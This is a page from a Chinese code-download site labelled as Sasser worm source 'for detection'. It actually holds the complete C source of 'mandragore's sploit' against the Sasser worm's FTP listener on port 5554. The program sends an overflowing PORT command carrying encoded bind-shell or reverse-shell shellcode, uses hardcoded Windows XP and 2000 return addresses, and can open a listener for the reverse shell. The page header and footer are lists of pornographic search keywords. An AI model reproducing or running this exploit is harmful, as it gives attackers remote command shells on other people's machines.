亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sasserworm

?? sasser worm source coed for detection
??
字號:
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED "sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = { 
//  { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
 { "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's
 { "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
 { "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
 printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
 FD_ZERO(&fds);
 FD_SET(0,&fds);
 FD_SET(s,&fds);

       if (select(s+1, &fds, NULL, NULL, NULL) < 0)
  fatal("[-] shell.select()");

 if (FD_ISSET(0,&fds)) {
  if ((retval = read(1,buff,4096)) < 1)
   fatal("[-] shell.recv(stdin)");
  send(s,buff,retval,0);
 }

 if (FD_ISSET(s,&fds)) {
  if ((retval = recv(s,buff,4096,0)) < 1)
   fatal("[-] shell.recv(socket)");
  write(1,buff,retval);
 }
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
 kill(getppid(),SIGKILL);
 fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
 usage(argv[0]);

for (i=1;i<argc;i+=2) {
 if (strlen(argv[i]) != 2)
  usage(argv[0]);

 switch(argv[i][1]) {
  case 't':
   type=atoi(argv[i+1]);
   break;
  case 'd':
   host=argv[i+1];
   break;
  case 'p':
   port=atoi(argv[i+1])?:default_port;
   break;
  case 's':
   if (strstr(argv[i+1],"rev"))
    bindopt=0;
   break;
  case 'H':
   Host=argv[i+1];
   break;
  case 'P':
   Port=atoi(argv[i+1])?:5300;
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   memcpy(bsh+0x57,&Port,2);
   memcpy(rsh+0x5a,&Port,2);
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   break;
  case 'L':
   pid++; i--;
   break;
  case 'v':
   verbose++; i--;
   break;
  case 'h':
   usage(argv[0]);
  default:
   usage(argv[0]);
  }
}

if (verbose)
 printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
 fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
 printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
 if ((he=gethostbyname(Host))==NULL)
  fatal("[-] gethostbyname() for -H");
 rip=*((long *)he->h_addr_list[0]);
 rip=rip^0xdededede;
 memcpy(rsh+0x53,&rip,4);
 if (pid) {
  printf("[.] setting up a listener on port %d.\n",Port);
  pid=fork();
  switch (pid) { case 0: callback(Port); }
 } else
  printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr 
*)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// --------------------  core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
 if (pid) kill(pid,SIGKILL);
 fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
 memcpy(buff+300,&bsh,strlen(bsh));
else
 memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// --------------------  end of core

if (bindopt) {
 sin.sin_port = htons(Port);
 sleep(1);
 s=socket(2,1,6);
 if (connect(s,(struct sockaddr *)&sin,16)!=0)
  fatal("[-] exploit most likely failed");
 shell(s);
}

if (pid) wait(&pid);

exit(0);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩国产一区二| 欧美美女一区二区在线观看| av亚洲精华国产精华| 99精品久久99久久久久| 欧美性生活大片视频| 精品国产乱码久久| 欧美国产日本视频| 懂色av中文字幕一区二区三区| 国产99久久精品| 欧美影院午夜播放| 精品国产91亚洲一区二区三区婷婷 | 成人国产精品免费网站| 91麻豆国产精品久久| 这里只有精品99re| 国产精品三级av| 天天操天天干天天综合网| 国产一二精品视频| 欧美三级韩国三级日本一级| 中文字幕一区二区三区不卡在线| 亚洲国产精品综合小说图片区| 国产一区福利在线| 欧美人妖巨大在线| 亚洲精品免费看| 99国产欧美另类久久久精品 | 久久伊人蜜桃av一区二区| 亚洲国产日韩a在线播放性色| 丁香六月综合激情| 欧美videofree性高清杂交| 午夜电影久久久| 色综合色综合色综合色综合色综合 | 欧美性猛交xxxxxxxx| 中文字幕 久热精品 视频在线| 午夜精品久久久久影视| 91免费小视频| 日本一区二区三区久久久久久久久不| 偷拍与自拍一区| 欧美在线影院一区二区| 亚洲欧美日韩国产另类专区| 日韩国产欧美三级| 久久精品一级爱片| 国产成人免费在线| 国产欧美精品一区二区色综合| 蜜桃视频在线观看一区| 欧美成人a视频| 狠狠色丁香婷婷综合| 日韩av午夜在线观看| 欧美夫妻性生活| 日本特黄久久久高潮| 欧美电影在哪看比较好| 日韩精品午夜视频| 日韩精品一区二区三区中文不卡 | 精品视频999| 日本在线不卡视频| 精品久久五月天| 国产成人免费视| 亚洲欧美日韩系列| 欧美三级一区二区| 亚洲一二三专区| 日韩精品一区二区三区视频在线观看 | 久久91精品国产91久久小草| 26uuu成人网一区二区三区| 成人美女在线观看| 亚洲一区二区在线观看视频 | 色天使久久综合网天天| 亚洲va韩国va欧美va精品| 精品福利一区二区三区免费视频| 国产·精品毛片| 亚洲va韩国va欧美va精品| 久久蜜臀精品av| 欧美日韩免费电影| 成人丝袜高跟foot| 日韩精品电影在线观看| 国产精品麻豆久久久| 日韩午夜精品视频| 色狠狠色狠狠综合| 国产成人av福利| 久久精品99国产精品| 亚洲综合免费观看高清在线观看| 国产欧美一区二区三区沐欲| 666欧美在线视频| 欧美午夜精品久久久久久孕妇| 国产一区二区三区国产| 三级欧美在线一区| 亚洲一区二区三区美女| 成人免费一区二区三区在线观看| 2023国产一二三区日本精品2022| 欧美午夜片在线观看| aaa欧美大片| 成人午夜视频网站| 国产成人精品免费看| 国产精品综合二区| 国产成人亚洲综合a∨婷婷| 久久不见久久见免费视频7| 蜜臀av性久久久久蜜臀av麻豆| 免费人成网站在线观看欧美高清| 麻豆成人av在线| 国模大尺度一区二区三区| 开心九九激情九九欧美日韩精美视频电影 | 欧美va亚洲va香蕉在线| 欧美刺激脚交jootjob| 日韩无一区二区| 精品免费视频.| 欧美精品一区二区三区蜜桃视频| 精品免费日韩av| 性欧美疯狂xxxxbbbb| 一区二区欧美在线观看| 亚洲电影激情视频网站| 免费高清在线视频一区·| 久久国内精品视频| 国产福利91精品一区二区三区| 成人午夜私人影院| 国产精品国产a级| 亚洲一区二区偷拍精品| 久久精品国产一区二区三区免费看| 国产精品亚洲第一区在线暖暖韩国| 国产一区在线不卡| 色婷婷综合久色| 日韩欧美的一区| 亚洲精品中文字幕在线观看| 日韩成人午夜精品| 高清不卡在线观看| 欧美日韩国产一级| 欧美国产日韩精品免费观看| 亚洲a一区二区| 国产91在线看| 7777精品伊人久久久大香线蕉 | 国产福利视频一区二区三区| 欧洲视频一区二区| 久久尤物电影视频在线观看| 偷拍与自拍一区| 99视频有精品| 久久精品人人做人人综合| 视频一区二区三区在线| 91国偷自产一区二区三区成为亚洲经典 | 国产欧美一区二区三区在线老狼| 日本不卡一二三区黄网| 92精品国产成人观看免费| 26uuu欧美| 精久久久久久久久久久| 555夜色666亚洲国产免| 夜夜亚洲天天久久| 91美女片黄在线| 国产精品久99| 成人免费看黄yyy456| 久久久久久久久久看片| 久久99精品久久久久久国产越南| 日韩一区二区视频| 首页亚洲欧美制服丝腿| 欧美喷潮久久久xxxxx| 亚洲一级二级三级| 欧美日韩一区二区三区在线| 亚洲第一狼人社区| 欧美成人一区二区| 精品一区二区三区在线视频| 精品88久久久久88久久久| 国产麻豆成人精品| 国产欧美精品在线观看| 岛国精品在线观看| 依依成人精品视频| 欧美日韩在线不卡| 美女视频黄 久久| 国产情人综合久久777777| 91在线观看美女| 日韩电影在线看| 国产精品久久久久久户外露出 | 欧美肥妇bbw| 国产老女人精品毛片久久| 亚洲国产电影在线观看| 91丨porny丨国产入口| 亚洲午夜电影在线观看| 日韩欧美国产一区在线观看| 福利91精品一区二区三区| 亚洲第一精品在线| 日本一区二区三区dvd视频在线| 99久久夜色精品国产网站| 亚洲18色成人| 国产女人18水真多18精品一级做| 91欧美激情一区二区三区成人| 免费高清在线视频一区·| 亚洲欧美色图小说| 欧美成人a在线| 欧美精品一级二级三级| 不卡一二三区首页| 麻豆国产精品777777在线| 亚洲一区二区三区中文字幕| 国产精品你懂的| 亚洲精品一区二区在线观看| 欧美熟乱第一页| thepron国产精品| 国产精品中文字幕日韩精品| 日韩高清一级片| 亚洲午夜一区二区三区| 国产精品传媒入口麻豆| 久久女同性恋中文字幕| 91精品国产91综合久久蜜臀| 91麻豆国产福利精品| 波波电影院一区二区三区| 国产综合色视频| 美女免费视频一区| 蜜桃视频一区二区|